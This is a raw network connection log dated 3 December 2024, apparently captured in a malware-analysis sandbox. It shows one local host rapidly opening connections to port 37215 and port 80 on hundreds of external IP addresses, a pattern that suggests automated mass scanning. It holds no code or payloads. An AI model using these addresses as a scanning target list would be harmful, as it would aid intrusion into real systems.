Dec 3, 2024 22:16:50.668317080 CET	37451	37215	192.168.2.23	41.21.94.214
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	197.230.18.128
Dec 3, 2024 22:16:50.668317080 CET	37451	37215	192.168.2.23	41.144.127.154
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	41.245.163.125
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	197.174.224.26
Dec 3, 2024 22:16:50.668319941 CET	57862	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	156.202.115.187
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	156.50.157.4
Dec 3, 2024 22:16:50.668315887 CET	37451	37215	192.168.2.23	41.37.72.115
Dec 3, 2024 22:16:50.668317080 CET	37451	37215	192.168.2.23	197.153.76.116
Dec 3, 2024 22:16:50.668315887 CET	37451	37215	192.168.2.23	41.175.231.195
Dec 3, 2024 22:16:50.668317080 CET	37451	37215	192.168.2.23	197.59.151.160
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	156.253.243.30
Dec 3, 2024 22:16:50.668315887 CET	37451	37215	192.168.2.23	156.48.194.241
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	197.138.162.230
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	197.49.96.178
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	156.117.241.210
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	156.146.98.207
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	197.70.78.159
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	156.95.6.19
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	156.128.205.158
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	41.18.195.89
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	156.92.96.8
Dec 3, 2024 22:16:50.668317080 CET	37451	37215	192.168.2.23	41.211.77.9
Dec 3, 2024 22:16:50.668315887 CET	37451	37215	192.168.2.23	41.24.56.133
Dec 3, 2024 22:16:50.668317080 CET	37451	37215	192.168.2.23	41.57.235.232
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	156.125.144.21
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	156.9.186.16
Dec 3, 2024 22:16:50.668319941 CET	49596	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:50.668318033 CET	37451	37215	192.168.2.23	41.177.111.29
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	156.167.143.151
Dec 3, 2024 22:16:50.668319941 CET	52376	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:50.668318987 CET	37451	37215	192.168.2.23	156.158.198.117
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	197.9.138.171
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	156.153.121.37
Dec 3, 2024 22:16:50.668319941 CET	37451	37215	192.168.2.23	197.229.170.157
Dec 3, 2024 22:16:50.668318987 CET	37451	37215	192.168.2.23	156.91.117.71
Dec 3, 2024 22:16:50.668349028 CET	38314	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:50.668349028 CET	37451	37215	192.168.2.23	197.68.183.90
Dec 3, 2024 22:16:50.668349028 CET	37451	37215	192.168.2.23	41.57.77.251
Dec 3, 2024 22:16:50.668358088 CET	37451	37215	192.168.2.23	41.0.75.153
Dec 3, 2024 22:16:50.668358088 CET	37451	37215	192.168.2.23	197.156.176.223
Dec 3, 2024 22:16:50.668358088 CET	37451	37215	192.168.2.23	156.131.157.254
Dec 3, 2024 22:16:50.668358088 CET	37451	37215	192.168.2.23	197.75.210.184
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	197.75.34.215
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	41.3.98.248
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	156.102.12.214
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	156.41.42.97
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	156.166.170.115
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	41.129.238.26
Dec 3, 2024 22:16:50.668389082 CET	37451	37215	192.168.2.23	197.196.160.196
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	197.114.94.211
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	156.94.14.106
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	197.237.79.130
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	197.147.69.196
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	197.209.219.72
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	41.117.61.99
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	41.143.188.21
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	41.134.253.88
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	197.168.47.64
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	197.34.195.130
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	197.178.190.57
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	156.155.111.63
Dec 3, 2024 22:16:50.668386936 CET	37451	37215	192.168.2.23	41.6.74.30
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	41.101.75.92
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	197.177.147.62
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	156.83.80.214
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	197.172.249.62
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	197.113.152.105
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	41.124.123.25
Dec 3, 2024 22:16:50.668384075 CET	53450	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	197.101.35.97
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	197.248.42.5
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	41.181.240.158
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	197.229.29.160
Dec 3, 2024 22:16:50.668389082 CET	37451	37215	192.168.2.23	41.205.229.83
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	41.38.10.191
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	156.103.23.180
Dec 3, 2024 22:16:50.668386936 CET	37451	37215	192.168.2.23	197.183.72.70
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	156.65.102.162
Dec 3, 2024 22:16:50.668389082 CET	37451	37215	192.168.2.23	197.94.48.162
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	156.27.91.220
Dec 3, 2024 22:16:50.668386936 CET	37451	37215	192.168.2.23	41.20.174.11
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	197.233.64.62
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	41.13.241.119
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	197.112.226.109
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	197.221.49.48
Dec 3, 2024 22:16:50.668386936 CET	37451	37215	192.168.2.23	41.33.94.249
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	156.225.250.184
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	197.112.170.201
Dec 3, 2024 22:16:50.668389082 CET	37451	37215	192.168.2.23	156.113.47.193
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	156.224.106.106
Dec 3, 2024 22:16:50.668389082 CET	37451	37215	192.168.2.23	41.66.223.100
Dec 3, 2024 22:16:50.668384075 CET	37451	37215	192.168.2.23	156.70.74.4
Dec 3, 2024 22:16:50.668385029 CET	37451	37215	192.168.2.23	156.37.78.76
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	197.73.124.112
Dec 3, 2024 22:16:50.668385983 CET	37451	37215	192.168.2.23	197.206.221.22
Dec 3, 2024 22:16:50.668389082 CET	37451	37215	192.168.2.23	41.41.228.30
Dec 3, 2024 22:16:50.668386936 CET	37451	37215	192.168.2.23	156.164.114.101
Dec 3, 2024 22:16:50.668407917 CET	37451	37215	192.168.2.23	41.85.75.224
Dec 3, 2024 22:16:50.668427944 CET	56452	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:50.668428898 CET	37451	37215	192.168.2.23	41.134.66.247
Dec 3, 2024 22:16:50.668427944 CET	37451	37215	192.168.2.23	197.100.112.206
Dec 3, 2024 22:16:50.668428898 CET	37451	37215	192.168.2.23	156.209.56.71
Dec 3, 2024 22:16:50.668427944 CET	37451	37215	192.168.2.23	197.162.169.29
Dec 3, 2024 22:16:50.668428898 CET	37451	37215	192.168.2.23	197.74.143.253
Dec 3, 2024 22:16:50.668427944 CET	37451	37215	192.168.2.23	156.144.152.91
Dec 3, 2024 22:16:50.668428898 CET	37451	37215	192.168.2.23	156.43.103.251
Dec 3, 2024 22:16:50.668427944 CET	37451	37215	192.168.2.23	41.147.129.228
Dec 3, 2024 22:16:50.668428898 CET	37451	37215	192.168.2.23	41.141.239.26
Dec 3, 2024 22:16:50.668427944 CET	37451	37215	192.168.2.23	41.180.121.235
Dec 3, 2024 22:16:50.668428898 CET	37451	37215	192.168.2.23	156.205.14.200
Dec 3, 2024 22:16:50.668427944 CET	37451	37215	192.168.2.23	197.120.212.1
Dec 3, 2024 22:16:50.668437004 CET	37451	37215	192.168.2.23	156.198.28.58
Dec 3, 2024 22:16:50.668430090 CET	37451	37215	192.168.2.23	41.147.128.197
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.195.64.197
Dec 3, 2024 22:16:50.668430090 CET	37451	37215	192.168.2.23	197.112.17.183
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.65.154.219
Dec 3, 2024 22:16:50.668440104 CET	37451	37215	192.168.2.23	41.153.39.21
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.96.104.249
Dec 3, 2024 22:16:50.668440104 CET	37451	37215	192.168.2.23	156.199.232.209
Dec 3, 2024 22:16:50.668437004 CET	37451	37215	192.168.2.23	197.33.186.52
Dec 3, 2024 22:16:50.668440104 CET	37451	37215	192.168.2.23	156.207.44.146
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.233.158.227
Dec 3, 2024 22:16:50.668437004 CET	37451	37215	192.168.2.23	41.247.191.238
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	197.116.21.133
Dec 3, 2024 22:16:50.668437958 CET	37451	37215	192.168.2.23	156.29.192.215
Dec 3, 2024 22:16:50.668440104 CET	37451	37215	192.168.2.23	156.229.89.128
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.216.137.34
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	197.190.103.185
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	156.5.108.160
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	41.16.13.23
Dec 3, 2024 22:16:50.668445110 CET	37451	37215	192.168.2.23	156.88.154.204
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.213.176.40
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	41.77.251.61
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	41.150.37.5
Dec 3, 2024 22:16:50.668445110 CET	37451	37215	192.168.2.23	41.206.122.245
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	197.24.108.86
Dec 3, 2024 22:16:50.668445110 CET	37451	37215	192.168.2.23	156.234.151.168
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.231.81.31
Dec 3, 2024 22:16:50.668437958 CET	37451	37215	192.168.2.23	197.163.165.238
Dec 3, 2024 22:16:50.668445110 CET	37451	37215	192.168.2.23	41.113.141.204
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	197.179.69.203
Dec 3, 2024 22:16:50.668456078 CET	37451	37215	192.168.2.23	41.169.249.149
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	41.245.60.186
Dec 3, 2024 22:16:50.668445110 CET	37451	37215	192.168.2.23	41.122.151.56
Dec 3, 2024 22:16:50.668442965 CET	37451	37215	192.168.2.23	41.62.63.67
Dec 3, 2024 22:16:50.668445110 CET	37451	37215	192.168.2.23	156.188.133.37
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	197.71.188.240
Dec 3, 2024 22:16:50.668445110 CET	37451	37215	192.168.2.23	156.50.83.116
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	156.107.48.82
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	197.14.198.28
Dec 3, 2024 22:16:50.668440104 CET	37451	37215	192.168.2.23	156.63.242.14
Dec 3, 2024 22:16:50.668438911 CET	37451	37215	192.168.2.23	156.143.42.15
Dec 3, 2024 22:16:50.668440104 CET	37451	37215	192.168.2.23	41.113.17.32
Dec 3, 2024 22:16:50.668446064 CET	37451	37215	192.168.2.23	197.119.36.72
Dec 3, 2024 22:16:50.668456078 CET	37451	37215	192.168.2.23	41.140.252.100
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	197.211.147.134
Dec 3, 2024 22:16:50.668456078 CET	37451	37215	192.168.2.23	156.82.101.143
Dec 3, 2024 22:16:50.668437958 CET	37451	37215	192.168.2.23	156.121.7.140
Dec 3, 2024 22:16:50.668456078 CET	37451	37215	192.168.2.23	197.148.47.25
Dec 3, 2024 22:16:50.668437958 CET	37451	37215	192.168.2.23	41.124.243.132
Dec 3, 2024 22:16:50.668456078 CET	37451	37215	192.168.2.23	197.221.32.193
Dec 3, 2024 22:16:50.668437958 CET	37451	37215	192.168.2.23	41.162.216.52
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	41.214.220.146
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	156.41.70.91
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	197.162.36.77
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	197.64.143.95
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	197.147.243.170
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	156.56.234.189
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	197.43.220.71
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	197.52.222.90
Dec 3, 2024 22:16:50.668453932 CET	37451	37215	192.168.2.23	41.174.89.142
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	156.115.135.67
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	41.237.190.171
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	41.177.116.126
Dec 3, 2024 22:16:50.668467045 CET	37451	37215	192.168.2.23	197.207.93.28
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	156.147.131.36
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	156.190.80.205
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	156.116.213.151
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	41.100.78.214
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	156.24.204.110
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	41.27.56.232
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	41.72.200.122
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	197.195.57.210
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	197.134.61.71
Dec 3, 2024 22:16:50.668474913 CET	37451	37215	192.168.2.23	197.163.125.245
Dec 3, 2024 22:16:50.668478012 CET	37451	37215	192.168.2.23	41.249.177.20
Dec 3, 2024 22:16:50.668478012 CET	37451	37215	192.168.2.23	156.95.202.89
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	197.166.79.191
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	41.56.31.69
Dec 3, 2024 22:16:50.668482065 CET	37451	37215	192.168.2.23	41.40.251.109
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	156.59.129.71
Dec 3, 2024 22:16:50.668483019 CET	37451	37215	192.168.2.23	156.89.68.183
Dec 3, 2024 22:16:50.668483019 CET	37451	37215	192.168.2.23	156.77.70.0
Dec 3, 2024 22:16:50.668484926 CET	37451	37215	192.168.2.23	197.167.44.33
Dec 3, 2024 22:16:50.668483019 CET	37451	37215	192.168.2.23	197.200.178.117
Dec 3, 2024 22:16:50.668482065 CET	37451	37215	192.168.2.23	41.163.132.95
Dec 3, 2024 22:16:50.668484926 CET	37451	37215	192.168.2.23	197.145.37.140
Dec 3, 2024 22:16:50.668482065 CET	37451	37215	192.168.2.23	41.197.142.172
Dec 3, 2024 22:16:50.668483973 CET	37451	37215	192.168.2.23	197.26.250.177
Dec 3, 2024 22:16:50.668482065 CET	37451	37215	192.168.2.23	41.236.104.223
Dec 3, 2024 22:16:50.668487072 CET	37451	37215	192.168.2.23	41.90.47.108
Dec 3, 2024 22:16:50.668482065 CET	37451	37215	192.168.2.23	41.18.221.72
Dec 3, 2024 22:16:50.668488026 CET	37451	37215	192.168.2.23	41.7.227.112
Dec 3, 2024 22:16:50.668482065 CET	37451	37215	192.168.2.23	197.200.26.254
Dec 3, 2024 22:16:50.668489933 CET	37451	37215	192.168.2.23	41.199.232.60
Dec 3, 2024 22:16:50.668482065 CET	37451	37215	192.168.2.23	156.160.58.172
Dec 3, 2024 22:16:50.668489933 CET	37451	37215	192.168.2.23	41.246.27.165
Dec 3, 2024 22:16:50.668489933 CET	37451	37215	192.168.2.23	197.201.230.24
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	156.156.236.235
Dec 3, 2024 22:16:50.668489933 CET	37451	37215	192.168.2.23	197.26.136.27
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	156.1.53.143
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	197.197.226.245
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	156.212.78.125
Dec 3, 2024 22:16:50.668481112 CET	37451	37215	192.168.2.23	41.236.0.86
Dec 3, 2024 22:16:50.668499947 CET	37451	37215	192.168.2.23	41.220.248.19
Dec 3, 2024 22:16:50.668505907 CET	37451	37215	192.168.2.23	156.152.135.188
Dec 3, 2024 22:16:50.668505907 CET	37451	37215	192.168.2.23	41.220.137.254
Dec 3, 2024 22:16:50.668517113 CET	37451	37215	192.168.2.23	41.155.35.254
Dec 3, 2024 22:16:50.668517113 CET	37451	37215	192.168.2.23	41.71.147.147
Dec 3, 2024 22:16:50.668519974 CET	37451	37215	192.168.2.23	156.26.162.46
Dec 3, 2024 22:16:50.668524981 CET	37451	37215	192.168.2.23	156.163.20.70
Dec 3, 2024 22:16:50.668525934 CET	37451	37215	192.168.2.23	41.180.81.8
Dec 3, 2024 22:16:50.668544054 CET	37451	37215	192.168.2.23	197.184.55.102
Dec 3, 2024 22:16:50.668545961 CET	37451	37215	192.168.2.23	197.72.166.12
Dec 3, 2024 22:16:50.668546915 CET	37451	37215	192.168.2.23	156.107.197.241
Dec 3, 2024 22:16:50.668549061 CET	37451	37215	192.168.2.23	156.81.88.240
Dec 3, 2024 22:16:50.668559074 CET	37451	37215	192.168.2.23	197.116.36.156
Dec 3, 2024 22:16:50.668559074 CET	37451	37215	192.168.2.23	41.217.148.140
Dec 3, 2024 22:16:50.668561935 CET	37451	37215	192.168.2.23	41.95.192.0
Dec 3, 2024 22:16:50.668567896 CET	37451	37215	192.168.2.23	156.139.67.68
Dec 3, 2024 22:16:50.668567896 CET	37451	37215	192.168.2.23	41.247.209.237
Dec 3, 2024 22:16:50.668575048 CET	37451	37215	192.168.2.23	197.11.160.141
Dec 3, 2024 22:16:50.668577909 CET	37451	37215	192.168.2.23	197.177.227.7
Dec 3, 2024 22:16:50.668596983 CET	37451	37215	192.168.2.23	197.237.193.21
Dec 3, 2024 22:16:50.668597937 CET	37451	37215	192.168.2.23	41.65.4.48
Dec 3, 2024 22:16:50.668597937 CET	37451	37215	192.168.2.23	156.113.129.27
Dec 3, 2024 22:16:50.668601036 CET	37451	37215	192.168.2.23	41.196.142.73
Dec 3, 2024 22:16:50.668603897 CET	37451	37215	192.168.2.23	41.232.202.182
Dec 3, 2024 22:16:50.668617964 CET	37451	37215	192.168.2.23	156.103.38.254
Dec 3, 2024 22:16:50.668622017 CET	37451	37215	192.168.2.23	156.182.151.11
Dec 3, 2024 22:16:50.668622971 CET	37451	37215	192.168.2.23	41.81.64.72
Dec 3, 2024 22:16:50.668622971 CET	37451	37215	192.168.2.23	197.160.178.230
Dec 3, 2024 22:16:50.668623924 CET	37451	37215	192.168.2.23	41.167.63.193
Dec 3, 2024 22:16:50.668637037 CET	37451	37215	192.168.2.23	156.42.137.30
Dec 3, 2024 22:16:50.668643951 CET	37451	37215	192.168.2.23	156.63.153.41
Dec 3, 2024 22:16:50.668643951 CET	37451	37215	192.168.2.23	197.1.60.82
Dec 3, 2024 22:16:50.668647051 CET	37451	37215	192.168.2.23	41.191.199.114
Dec 3, 2024 22:16:50.668649912 CET	37451	37215	192.168.2.23	156.167.227.168
Dec 3, 2024 22:16:50.668661118 CET	37451	37215	192.168.2.23	156.63.142.33
Dec 3, 2024 22:16:50.668665886 CET	37451	37215	192.168.2.23	156.3.70.19
Dec 3, 2024 22:16:50.668675900 CET	37451	37215	192.168.2.23	197.210.61.3
Dec 3, 2024 22:16:50.668675900 CET	37451	37215	192.168.2.23	156.106.129.147
Dec 3, 2024 22:16:50.668677092 CET	37451	37215	192.168.2.23	41.200.189.72
Dec 3, 2024 22:16:50.668678045 CET	37451	37215	192.168.2.23	41.171.210.56
Dec 3, 2024 22:16:50.668677092 CET	37451	37215	192.168.2.23	156.84.252.199
Dec 3, 2024 22:16:50.668679953 CET	37451	37215	192.168.2.23	156.131.86.221
Dec 3, 2024 22:16:50.668688059 CET	37451	37215	192.168.2.23	156.201.238.20
Dec 3, 2024 22:16:50.668689013 CET	37451	37215	192.168.2.23	41.108.20.208
Dec 3, 2024 22:16:50.668690920 CET	37451	37215	192.168.2.23	41.147.215.165
Dec 3, 2024 22:16:50.668694019 CET	37451	37215	192.168.2.23	156.225.123.145
Dec 3, 2024 22:16:50.668695927 CET	37451	37215	192.168.2.23	197.217.57.115
Dec 3, 2024 22:16:50.668705940 CET	37451	37215	192.168.2.23	41.88.45.10
Dec 3, 2024 22:16:50.668705940 CET	37451	37215	192.168.2.23	156.228.3.72
Dec 3, 2024 22:16:50.668705940 CET	37451	37215	192.168.2.23	197.246.198.47
Dec 3, 2024 22:16:50.668706894 CET	37451	37215	192.168.2.23	156.16.35.36
Dec 3, 2024 22:16:50.668709040 CET	37451	37215	192.168.2.23	197.191.83.231
Dec 3, 2024 22:16:50.668723106 CET	37451	37215	192.168.2.23	197.122.213.90
Dec 3, 2024 22:16:50.668725014 CET	37451	37215	192.168.2.23	41.93.211.239
Dec 3, 2024 22:16:50.668725014 CET	37451	37215	192.168.2.23	41.168.110.72
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	197.186.29.80
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	156.93.47.222
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	156.21.250.49
Dec 3, 2024 22:16:50.668725014 CET	37451	37215	192.168.2.23	156.174.105.71
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	156.97.84.121
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	156.253.158.242
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	41.147.124.141
Dec 3, 2024 22:16:50.668725014 CET	37451	37215	192.168.2.23	197.250.81.174
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	156.97.116.64
Dec 3, 2024 22:16:50.668725967 CET	37451	37215	192.168.2.23	197.152.183.224
Dec 3, 2024 22:16:50.668735981 CET	37451	37215	192.168.2.23	197.67.221.107
Dec 3, 2024 22:16:50.668735981 CET	37451	37215	192.168.2.23	41.46.12.172
Dec 3, 2024 22:16:50.668736935 CET	37451	37215	192.168.2.23	197.164.111.140
Dec 3, 2024 22:16:50.668740034 CET	37451	37215	192.168.2.23	41.2.130.60
Dec 3, 2024 22:16:50.668740034 CET	37451	37215	192.168.2.23	197.138.155.36
Dec 3, 2024 22:16:50.668745041 CET	37451	37215	192.168.2.23	41.88.77.97
Dec 3, 2024 22:16:50.668745041 CET	37451	37215	192.168.2.23	197.160.104.231
Dec 3, 2024 22:16:50.668750048 CET	37451	37215	192.168.2.23	156.144.155.168
Dec 3, 2024 22:16:50.668751001 CET	37451	37215	192.168.2.23	197.155.81.246
Dec 3, 2024 22:16:50.668757915 CET	37451	37215	192.168.2.23	156.81.158.58
Dec 3, 2024 22:16:50.668764114 CET	37451	37215	192.168.2.23	156.255.124.239
Dec 3, 2024 22:16:50.668764114 CET	37451	37215	192.168.2.23	41.65.95.62
Dec 3, 2024 22:16:50.668764114 CET	37451	37215	192.168.2.23	197.229.207.199
Dec 3, 2024 22:16:50.668771982 CET	37451	37215	192.168.2.23	41.187.167.255
Dec 3, 2024 22:16:50.668771982 CET	37451	37215	192.168.2.23	156.242.144.129
Dec 3, 2024 22:16:50.668787956 CET	37451	37215	192.168.2.23	41.176.225.170
Dec 3, 2024 22:16:50.668795109 CET	37451	37215	192.168.2.23	156.223.167.200
Dec 3, 2024 22:16:50.668797016 CET	37451	37215	192.168.2.23	41.182.161.45
Dec 3, 2024 22:16:50.668797970 CET	37451	37215	192.168.2.23	41.194.134.76
Dec 3, 2024 22:16:50.668797970 CET	37451	37215	192.168.2.23	156.47.86.199
Dec 3, 2024 22:16:50.668798923 CET	37451	37215	192.168.2.23	41.107.185.115
Dec 3, 2024 22:16:50.668806076 CET	80	42972	200.134.217.200	192.168.2.23
Dec 3, 2024 22:16:50.668807030 CET	37451	37215	192.168.2.23	197.51.74.78
Dec 3, 2024 22:16:50.668808937 CET	37451	37215	192.168.2.23	156.219.6.87
Dec 3, 2024 22:16:50.668809891 CET	37451	37215	192.168.2.23	156.2.62.93
Dec 3, 2024 22:16:50.668812990 CET	37451	37215	192.168.2.23	41.238.127.192
Dec 3, 2024 22:16:50.668814898 CET	37451	37215	192.168.2.23	41.74.170.201
Dec 3, 2024 22:16:50.668817043 CET	37451	37215	192.168.2.23	197.245.99.204
Dec 3, 2024 22:16:50.668818951 CET	37451	37215	192.168.2.23	41.127.133.174
Dec 3, 2024 22:16:50.668818951 CET	37451	37215	192.168.2.23	41.239.118.16
Dec 3, 2024 22:16:50.668826103 CET	37451	37215	192.168.2.23	156.132.153.196
Dec 3, 2024 22:16:50.668831110 CET	37451	37215	192.168.2.23	156.51.76.143
Dec 3, 2024 22:16:50.668838978 CET	80	50448	178.167.225.20	192.168.2.23
Dec 3, 2024 22:16:50.668839931 CET	42972	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:50.668848038 CET	37451	37215	192.168.2.23	197.102.237.152
Dec 3, 2024 22:16:50.668848038 CET	37451	37215	192.168.2.23	156.154.236.169
Dec 3, 2024 22:16:50.668848991 CET	80	54040	13.77.179.192	192.168.2.23
Dec 3, 2024 22:16:50.668869972 CET	52376	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:50.668878078 CET	50448	80	192.168.2.23	178.167.225.20
Dec 3, 2024 22:16:50.668883085 CET	54040	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:50.668884039 CET	80	43666	115.161.242.231	192.168.2.23
Dec 3, 2024 22:16:50.668894053 CET	38188	37215	192.168.2.23	41.7.124.25
Dec 3, 2024 22:16:50.668894053 CET	38188	37215	192.168.2.23	41.7.124.25
Dec 3, 2024 22:16:50.668914080 CET	49596	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:50.668914080 CET	57862	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:50.668915033 CET	38314	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:50.668915033 CET	35864	80	192.168.2.23	19.67.64.37
Dec 3, 2024 22:16:50.668916941 CET	56234	80	192.168.2.23	70.48.67.132
Dec 3, 2024 22:16:50.668916941 CET	43666	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:50.668926954 CET	34096	80	192.168.2.23	51.0.21.42
Dec 3, 2024 22:16:50.668934107 CET	37215	39548	156.81.76.10	192.168.2.23
Dec 3, 2024 22:16:50.668956041 CET	50448	80	192.168.2.23	178.167.225.20
